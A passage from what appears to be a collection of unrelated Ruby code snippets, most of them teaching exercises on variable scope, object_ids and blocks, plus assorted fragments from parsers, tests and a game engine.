#{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts <<-MSG\n ======\n The object_ids of the variables will be the same before the block and\n outside the block. The values of the variables will also be the same.\n --\n MSG\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts <<-MSG\n ======\n All four of the variables's values will be different.\n The object_ids of `a_outer`, `b_outer`, `outer_c` will be different due\n to the reassignments above and due to the fact that this block-level\n scope can access local variables in its immediate outer-scope.\n `d_outer` will have also have a new object_id since it is referencing a\n reassigned element in `c_outer`.\n --\n MSG\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\"\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts <<-MSG\n =====\n `a_inner_id` will be the same as `a_outer.object_id`\n `b_inner_id` will be the same as `b_outer.object_id`\n `c_inner_id` will be the same as `c_outer.object_id`\n `d_inner_id` will be the same as `d_outer.object_id`\n --\n MSG\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n end\n\n puts %(\n =====\n value of `a_outer` is `22`, `a_outer_id` & `a_outer.object_id` are\n not the same.\n value of `b_outer` is `'thirty-three`, `b_outer_id` & `b_outer.object_id`\n are not the same.\n value of `c_outer` is `[44]`, `c_outer_id` and c_outer.object_id` are\n not the same.\n value of `d_outer` is `44`, `d_outer_id` and d_outer.object_id` are\n not the same.\n --\n )\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n\n puts %(\n =====\n Trying to access any of these variables will raise a `NameError` exception\n since they are instantiated inside of a block and their scope does not\n reach the outer scope of the block.\n By adding the block of error-handling code in `rescue`, the program will\n gracefully output `'ugh ohhhhh'`.\n --\n )\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # object_id of the literal 42\n b_outer_id = b_outer.object_id # object_id of \"forty two\"\n c_outer_id = c_outer.object_id # object_id of array [42]\n d_outer_id = d_outer.object_id # object_id of the literal 42,\n # since c_outer[0] = 42\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n # local variables outside the block can be accesses here, no problem. so:\n a_outer_inner_id = a_outer.object_id # object_id of the literal 42\n b_outer_inner_id = b_outer.object_id # object_id of \"forty two\"\n c_outer_inner_id = c_outer.object_id # object_id of array [42]\n d_outer_inner_id = d_outer.object_id # object_id of the literal 42\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\\n\\n\"\n\n# doing reassignment here. so object_id's are going to change, therefore...\n a_outer = 22 # object_id of the literal 42\n b_outer = \"thirty three\" # object_id of the string \"thirty three\"\n c_outer = [44] # object_id of the array [44]\n d_outer = c_outer[0] # object_id of the literal 44,\n# since c_outer[0] = 44\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n # After assignments above, the \"inner\" variables are now referencing the outer ones, hence\n # they will have the same object_id's as the outer ones:\n\n a_inner_id = a_inner.object_id # object_id of the literal 42\n b_inner_id = b_inner.object_id # object_id of the string \"thirty three\"\n c_inner_id = c_inner.object_id # object_id of the array [44]\n d_inner_id = d_inner.object_id # object_id of the literal 44,\n# since c_outer[0] = 44\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n\n# since the outer variables are re-assigned inside the code block, their object_id's\n# will be different, as expected by the output of the lines below:\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n# The lines below will raise exceptions due to trying to access inner variables\n# from outside the block... hence \"ugh ohhhhh\"!\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n a_outer_id = a_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts\n\n an_illustrative_method(a_outer, a_outer_id)\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts\n end", "def foo1\r\n a = 1\r\n b = 2\r\n y = 3 \r\n 1.times { |a,b,x| # b,x are fresh locals here with the scope of the block; outer a is shadowed\r\n puts '|a,b,x|'\r\n puts \"inside\"\r\n puts \"a = #{a}\"\r\n puts \"b = #{b}\"\r\n puts \"x = #{x}\"\r\n puts \"y = #{y}\"\r\n puts\r\n \r\n z = 4\r\n x = 5\r\n b = 6\r\n }\r\n \r\n puts \"after\"\r\n puts \"a = #{a}\"\r\n puts \"b = #{b}\"\r\n puts \"x = #{x}\" rescue puts \"ERROR(x)\"\r\n puts \"y = #{y}\"\r\n puts \"z = #{z}\" rescue puts \"ERROR(z)\"\r\n puts\r\nend", "def outer\n clone.outer!\n end", "def tricky_method(my_string_param, an_array_param)\n puts \"my_string_param inside the method #{my_string_param.object_id}\"\n my_string_param += \"rutabaga\"\n puts \"my_string_param inside the method after re-assignment #{my_string_param.object_id}\"\n puts\n puts \"an_array_param inside the method before mutation #{an_array_param.object_id}\"\n an_array_param << \"rutabaga\"\n puts \"an_array_param inside the method after mutation #{an_array_param.object_id}\"\nend", "def outer_id\n @values.fetch('outerId') { \n @values['outerId'] = nil\n }\n end", "def block_local_variable\n x = \"Original x!\"\n 3.times do |i;x|\n x = i\n puts \"x in the block is now #{x}\"\n end\n puts \"x after the block ended is #{x}\"\nend", "def foo2\r\n puts '|a;x|'\r\n x = 1\r\n 1.times { |a;x|\r\n puts \"in-x = #{x}\"\r\n x = 2\r\n }\r\n \r\n puts \"x = #{x}\"\r\n puts\r\nend", "def outer; end", "def block_scope_demo\n x = 100\n 1.times do #Single iteration serves to create code block context\n puts x # x inside the block is the same as the x that existed already:\n end\nend", "def test_local\n result = 1 + 2\n result.times do |x|\n puts a = x + 1\n p local_variables\n end\n p local_variables\nend", "def mess_with_vars(one, two, three)\n one = two # one now points to \"two\" within the method\n two = three # two now points to \"three\" within the method\n three = one # three now points to \"one\" within the method\n # This shouldn't effect the variables outside \n # the method, even though they have the same names. \n # Methods can't access variables in another scope.\n\n\n\nend", "def combine_variables(x)\n # We call the global variable a as the argument below, which replaces x and outputs 4\n puts \"inner x is: #{x}\"\n # We call b, which is still defined in the previous sister method as 12\n puts \"and outer b is: #{b}\"\n # Now w redefine b within this method\n b = \"pizza\"\n # This line outputs with the new definition of b\n puts \"but now b is: #{b}\"\nend", "def changing_members(&block)\n _assigning do\n ids = members.map(&:to_key)\n instance_eval(&block)\n new_ids = members.map(&:to_key)\n\n added, removed = (new_ids - ids), (ids - new_ids)\n\n @original_members ||= ids\n @members_added ||= []; @members_removed ||= []\n @members_added -= removed; @members_removed -= added\n @members_added.concat(added).uniq!; @members_removed.concat(removed & @original_members).uniq!\n end\n self\n end", "def test_nesting_behavior_simple_within_method\n Fluid.let([:a, 1]) {\n assert_equal(1, Fluid.a)\n Fluid.let {\n assert_equal(1, Fluid.a)\n Fluid.let([:a, 2]) {\n assert_equal(2, Fluid.a)\n }\n assert_equal(1, Fluid.a)\n }\n assert_equal(1, Fluid.a)\n }\n end", "def outer_id=(value)\n if value == @defaults['outerId']\n @values.delete 'outerId' if @values.key? 'outerId'\n else\n @values['outerId'] = value\n end\n end", "def method(a, b)\n c=a\n a=b\n b=c\n return a,b\nend", "def swap_composite_keys(&block)\n @identifier, new_id = id.dup, identify\n block.call\n @identifier = nil\n end", "def inner\n clone.inner!\n end", "def combine_variables(x)\n puts \"inner x is: #{x}\"\n # This line doesn't work - because the method doesn't have b as an argument, it doesn't\n # know about b, and it can't use b\n # puts \"and outer b is: #{b}\"\nend", "def growing\n new_outer_nodes = []\n @outer_nodes.each do |o_n|\n new_partial_outer_nodes = set_outer_nodes(@neighbors_hash[o_n])\n new_outer_nodes << check_partial_outer_nodes(new_partial_outer_nodes, o_n)\n new_outer_nodes.flatten!\n end\n @outer_nodes = new_outer_nodes.compact\n end", "def some_method\n a = 3 # variable inside the scope cannot change the variable outside.\nend", "def bar\r\n a = 1\r\n foo {\r\n a\r\n }\r\nend", "def inner_scope(param)\n param = 12\nend", "def query_each_side_has_a_block x, y, z, do_update = false\r\n arr = Array.new(6, false)\r\n arr[0] = get_block_at(x, y - 1, z) == nil #bottom\r\n arr[1] = get_block_at(x, y, z - 1) == nil #sides\r\n arr[2] = get_block_at(x - 1, y, z) == nil #sides\r\n arr[3] = get_block_at(x + 1, y, z) == nil #sides\r\n arr[4] = get_block_at(x, y, z + 1) == nil #sides\r\n arr[5] = get_block_at(x, y + 1, z) == nil #top\r\n \r\n if do_update \r\n chx = (x / Util::Chunk_Size).floor\r\n chy = (y / Util::Chunk_Size).floor\r\n chz = (z / Util::Chunk_Size).floor\r\n \r\n if chy != ((y - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, ((y - 1) / Util::Chunk_Size).floor, chz)\r\n elsif chy != ((y + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, ((y + 1) / Util::Chunk_Size).floor, chz)\r\n end\r\n \r\n if chx != ((x - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(((x - 1) / Util::Chunk_Size).floor, chy, chz)\r\n elsif chx != ((x + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(((x + 1) / Util::Chunk_Size).floor, chy, chz)\r\n end\r\n \r\n if chz != ((z + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, chy, ((z + 1) / Util::Chunk_Size).floor)\r\n elsif chz != ((z - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, chy, ((z - 1) / Util::Chunk_Size).floor)\r\n end\r\n \r\n end\r\n\r\n #@called += 1\r\n #puts @called\r\n \r\n return arr\r\n end", "def assign_ids(id)\n @diff_id = id\n id + 1\n end", "def mess_with_vars1(one, two, three)\n one = two\n two = three\n three = one\nend", "def populate_round(hurdles, round_size_array, heats)\n #init counting variables\n hurdles_for_heat=[];heat_full=0;heat_counter=0;i=0\n#puts(\"round_size_array = \"+round_size_array.to_s+\"; N_hurdles=\"+hurdles.count.to_s)\n\n round_size_array.size.times do\n round_size_array[heat_counter].times do\n #add racer to heat array and increment heat_full\n hurdles_for_heat << hurdles[i]; heat_full+=1; i+=1\n #build a heat when enough racers are gathered\n if heat_full==round_size_array[heat_counter]\n heats[heat_counter].hurdles << hurdles_for_heat\n\n #allocate lanes for the new heat\n heats[heat_counter] = allocate_lanes(heats[heat_counter],hurdles.first.round)\n#lo gger.debug \"LANES return: \"+heats[heat_counter].heat_hurdles[0].lane.to_s\n #reset counting vars for the next heat\n hurdles_for_heat=[];heat_full=0;heat_counter+=1\n end\n end\n end\n\n#logger.debug \"round lane:\"+heats[0].heat_hurdles[0].lane.to_s\n return heats\n end", "def outer_box\n inner_box.map { |d| o(d) }\n end", "def block_reference_count=(_arg0); end", "def _reduce_484(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend", "def mark_assignments_as_referenced_in_loop(node); end", "def rearrange\n yield\n other = Tag.where(id: self.other_id).first\n operation = self.operation\n self.operation = self.other_id = nil\n\n begin\n case operation\n when 'nest_under'\n self.update_attribute :parent_id, other.id\n self.update_attribute :siblings_position, 0\n raise 'Cyclic nesting!' if other.parent_id == id\n when 'move_above'\n self.update_attribute :parent_id, other.parent_id\n self.update_attribute :siblings_position, other.calculated_siblings_position - 1\n when 'move_below'\n self.update_attribute :parent_id, other.parent_id\n self.update_attribute :siblings_position, other.calculated_siblings_position + 1\n end\n rescue\n self.errors.add :other_id, INVALID_TAG_OPERATION\n raise ActiveRecord::Rollback\n end\n end", "def test_nested_loops\n want = <<~EDI.gsub(/\\n/, \"\")\n ST*810*0001~\n BIG*19700101*test*19700101*00000007397108*004010~\n REF*IO*define-this-value~\n N1*ST*Sweeney Todd~\n N3*2705 Fleet St~\n N4*Birmingham*AL*35226*US~\n DTM*011*19700101~\n IT1*1*1*EA*59.95**UP*860001662184*VP*860001662184*A3*860001662184*ZZ*860001662184*EN*860001662184~\n CTP**DPR*0*0**DIS*0*59.95~\n PID*F****CBD Topical Cream 400mg THC Free~\n SAC*C*ZZZZ***0~\n IT1*2*2*EA*49.95**UP*860001662184*VP*860001662184*A3*860001662184*ZZ*860001662184*EN*860001662184~\n CTP**DPR*0*0**DIS*0*49.95~\n PID*F****500mg Full Spectrum Garden Mint Oil Tincture~\n SAC*C*ZZZZ***0~\n TDS*17985~\n CAD*****define-this-value~\n SAC*C*ZZZZ***5995~\n SAC*C*ZZZZ***9990~\n CTT*2~\n SE*21*0001\n EDI\n store = Eddy::Data::Store.new(time: @epoch)\n ts = Eddy::TransactionSets::TS810::TS.new(store)\n ts.BIG do |big|\n big.BIG01 = @epoch\n big.BIG02 = \"test\"\n big.BIG03 = @epoch\n big.BIG04 = \"00000007397108\"\n big.BIG05 = \"004010\"\n end\n ts.REF.REF01 = \"IO\"\n ts.REF.REF02 = \"define-this-value\"\n ts.L_N1 do |n1|\n n1.N1.N101 = \"ST\"\n n1.N1.Name = \"Sweeney Todd\"\n n1.N3.AddressInformation1 = \"2705 Fleet St\"\n n1.N4.CityName = \"Birmingham\"\n n1.N4.StateOrProvinceCode = \"AL\"\n n1.N4.PostalCode = \"35226\"\n n1.N4.CountryCode = \"US\"\n end\n ts.DTM.DTM01 = \"011\"\n ts.DTM.DTM02 = @epoch\n ts.L_IT1 do |rep|\n rep.IT1 do |it1|\n it1.AssignedIdentification = \"1\"\n it1.QuantityInvoiced = 1\n it1.IT103 = \"EA\"\n it1.UnitPrice = 59.95\n it1.IT106 = \"UP\"\n it1.IT107 = \"860001662184\"\n it1.IT108 = \"VP\"\n it1.IT109 = \"860001662184\"\n it1.IT110 = \"A3\"\n it1.IT111 = \"860001662184\"\n it1.IT112 = \"ZZ\"\n it1.IT113 = \"860001662184\"\n it1.IT114 = \"EN\"\n it1.IT115 = \"860001662184\"\n end\n # CTP\n rep.CTP do |ctp|\n ctp.CTP02 = \"DPR\"\n ctp.CTP03 = 0\n ctp.CTP04 = 0\n ctp.CTP06 = \"DIS\"\n ctp.CTP07 = 0\n ctp.CTP08 = 59.95\n end\n # PID\n rep.L_PID do |pid|\n pid.PID.PID01 = \"F\"\n pid.PID.PID05 = \"CBD Topical Cream 400mg THC Free\"\n end\n # SAC\n rep.L_SAC do |sac|\n sac.SAC.SAC01 = \"C\"\n sac.SAC.SAC02 = \"ZZZZ\"\n sac.SAC.SAC05 = 0\n end\n end\n ts.L_IT1 do |rep|\n # IT1\n rep.IT1.AssignedIdentification = \"2\"\n rep.IT1.QuantityInvoiced = 2\n rep.IT1.IT103 = \"EA\"\n rep.IT1.UnitPrice = 49.95\n rep.IT1.IT106 = \"UP\"\n rep.IT1.IT107 = \"860001662184\"\n rep.IT1.IT108 = \"VP\"\n rep.IT1.IT109 = \"860001662184\"\n rep.IT1.IT110 = \"A3\"\n rep.IT1.IT111 = \"860001662184\"\n rep.IT1.IT112 = \"ZZ\"\n rep.IT1.IT113 = \"860001662184\"\n rep.IT1.IT114 = \"EN\"\n rep.IT1.IT115 = \"860001662184\"\n # CTP\n rep.CTP.CTP02 = \"DPR\"\n rep.CTP.CTP03 = 0\n rep.CTP.CTP04 = 0\n rep.CTP.CTP06 = \"DIS\"\n rep.CTP.CTP07 = 0\n rep.CTP.CTP08 = 49.95\n # PID\n rep.L_PID do |rep|\n rep.PID.PID01 = \"F\"\n rep.PID.PID05 = \"500mg Full Spectrum Garden Mint Oil Tincture\"\n end\n # SAC\n rep.L_SAC do |rep|\n rep.SAC.SAC01 = \"C\"\n rep.SAC.SAC02 = \"ZZZZ\"\n rep.SAC.SAC05 = 0\n end\n end\n ts.TDS.TDS01 = 179.85\n ts.CAD.CAD05 = \"define-this-value\"\n ts.L_SAC do |rep|\n rep.SAC.SAC01 = \"C\"\n rep.SAC.SAC02 = \"ZZZZ\"\n rep.SAC.SAC05 = 59.95\n end\n ts.L_SAC do |rep|\n rep.SAC.SAC01 = \"C\"\n rep.SAC.SAC02 = \"ZZZZ\"\n rep.SAC.SAC05 = 49.95 * 2\n end\n ts.CTT.NumberOfLineItems = 2\n result = ts.render()\n assert_equal(want, result)\n end", "def temp_id\n #reverting to just plain id, see issue #89\n self.id\n end", "def fourth_method(number)\n\tnumber += 7 #number is scoped locally to the method\nend", "def foo(&block)\n a = 2\n block.call(a)\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def mess_with_vars(one, two, three)\n one = two\n two = three\n three = one\nend", "def with_transitional_values\n a = b = 1\n 3.upto(@n) do\n c = a + b\n a = b\n b = c\n end\n\n #puts \"answer is %d\" % b\n end", "def test_assignment_is_parallel\n Fluid.let([:dawn, \"best beloved\"]) {\n assert_equal(\"best beloved\", Fluid.dawn)\n Fluid.let([:dawn, \"wife\"],\n [:paul, \"child of #{Fluid.dawn}\"]) {\n assert_equal(\"wife\", Fluid.dawn)\n assert_equal(\"child of best beloved\", Fluid.paul)\n }\n }\n end", "def test_multiple_updates_on_same_object\n # we start with dhh as owner and alexander as user/creator\n @presentation.name = \"new name\"\n @presentation.owner = @alexander\n @presentation.save\n \n assert_equal \"new name\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @alexander, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n # ---- owner is now alexander, user/creator also alexander\n \n @presentation.name = \"new name 2\"\n @presentation.save\n \n assert_equal \"new name 2\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @alexander, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@dhh.is_creator_of?(@presentation)\n assert @alexander.is_creator_of?(@presentation)\n \n # --- no change. owner: alexander, user/creator: alexander.\n \n @presentation.name = \"new name 3\"\n @presentation.user = @dhh\n @presentation.save\n \n assert_equal \"new name 3\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n # --- owner is still alexander, but user/creator is now dhh.\n \n @presentation.name = \"new name 4\"\n @presentation.owner = @dhh\n @presentation.save\n \n assert_equal \"new name 4\", @presentation.name\n assert_equal @dhh, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@alexander.is_owner_of?(@presentation)\n assert @dhh.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n # --- owner is now also dhh, user/creator is still dhh.\n \n @presentation.name = \"new name 5\"\n @presentation.owner = @alexander\n @presentation.save\n # @presentation.reload\n \n assert_equal \"new name 5\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n \n end", "def lock\n\t\t\tself.instance_eval do \n\t\t\t\tundef :same_piece_count=\n\t\t\t\tundef :difference_ids=\n\t\t\tend\n\t\tend", "def _reduce_485(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend", "def _reduce_485(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend", "def another_work(&another_block)\n ## Passing the parameters to the block\n puts(\"Hey I am in the function\")\n another_block.call(4, 2)\n puts(\"Hey I am back in the function\")\n another_block.call(5, 3)\nend", "def initial_state(soldiers)\n {\n soldiers: soldiers,\n positions: initial_positions(soldiers),\n clock: 0\n }\nend", "def just_assignment(number)\n foo = number + 3 \nend", "def meth1(start, inc)\n start -= inc\n lambda{ start += inc }\nend", "def method\n a = 50\n puts a\nputs a.object_id\nend", "def make_id\n new_id = @id\n @id += 1\n new_id\n end", "def just_assignment(number)\n foo = number + 3\nend", "def just_assignment(number)\n foo = number + 3\nend", "def reapply_blocks\n @reapply_blocks ||= []\n end", "def closure\n n = -25\n return Proc.new { \"n was #{n}, n is now #{n += 1}\"}\n end", "def test_nesting_behavior_complex_within_method\n Fluid.let([:a, 1], :b) {\n assert_equal(1, Fluid.a)\n assert_equal(nil, Fluid.b)\n Fluid.let(:a) {\n assert_equal(nil, Fluid.a)\n assert_equal(nil, Fluid.b)\n Fluid.let([:b, 'b'],\n [:a, [1, 2]]) {\n assert_equal([1,2], Fluid.a)\n assert_equal('b', Fluid.b)\n }\n assert_equal(nil, Fluid.a)\n assert_equal(nil, Fluid.b)\n }\n assert_equal(1, Fluid.a)\n assert_equal(nil, Fluid.b)\n }\n end", "def method a=\r\n\t3\r\n\t1\r\nend", "def just_assignment(number)\r\n foo = number + 3\r\nend", "def test_reassign_one_value\n assert_equal(0, @sudoku_1.rows[2][4])\n assert_equal(0, @sudoku_1.columns[4][2])\n assert_equal(0, @sudoku_1.squares[1][7])\n @sudoku_1.rows[2][4] = 1\n @sudoku_1.reassign()\n assert_equal(1, @sudoku_1.rows[2][4])\n assert_equal(1, @sudoku_1.columns[4][2])\n assert_equal(1, @sudoku_1.squares[1][7])\n end", "def some_method # Scope gate\n v2 = 2\n p local_variables\n end", "def closure! \n\t\ttemp = new_state\n\t\tadd_transition(temp, @start, \"\")\n\t\t@start = temp\n\t\ttemp = new_state\n\t\t@final.keys.sort.each { |x| \n\t\tadd_transition(x, temp, \"\") \n\t\tset_final(x, false) }\n\t\t\n\t\t@final = {temp=>true}\n\t\tadd_transition(@start, temp, \"\")\n\t\tadd_transition(temp, @start, \"\")\n\t\t@state.delete(nil)\n\t\t@transition.delete(nil)\n end", "def set_local_depth\n <<-CODE\n next_int;\n k = (native_int)_int;\n next_int;\n t3 = stack_pop();\n t1 = c->active_context;\n\n for(j = 0; j < k; j++) {\n t2 = blokctx_env(state, t1);\n t1 = blokenv_get_home_block(t2);\n }\n\n t2 = blokctx_locals(state, t1);\n if(t2->gc_zone == 0) {\n sassert(_int < NUM_FIELDS(t2) && \"locals tuple sized wrong\");\n fast_unsafe_set(t2, _int, t3);\n } else {\n tuple_put(state, t2, _int, t3);\n }\n stack_push(t3);\n\n CODE\n end", "def method(a,b)\ntemp=a\na=b\nb=temp\nputs \"a = #{a}\"\nputs \"b = #{b}\"\nend", "def climb_stairs_2(n)\n a = b = 1\n n.times { a, b = b, a + b }\n a\nend", "def swap_fix_it(p1, p2)\n\n p1_copy = p1.dup\n \n p1.x = p2.x\n p1.y = p2.y\n\n p2.x = p1_copy.x\n p2.y = p1_copy.y\n\n p \"Inside swap_fix_it p1 is #{p1}\"\n p \"Inside swap_fix_it p2 is 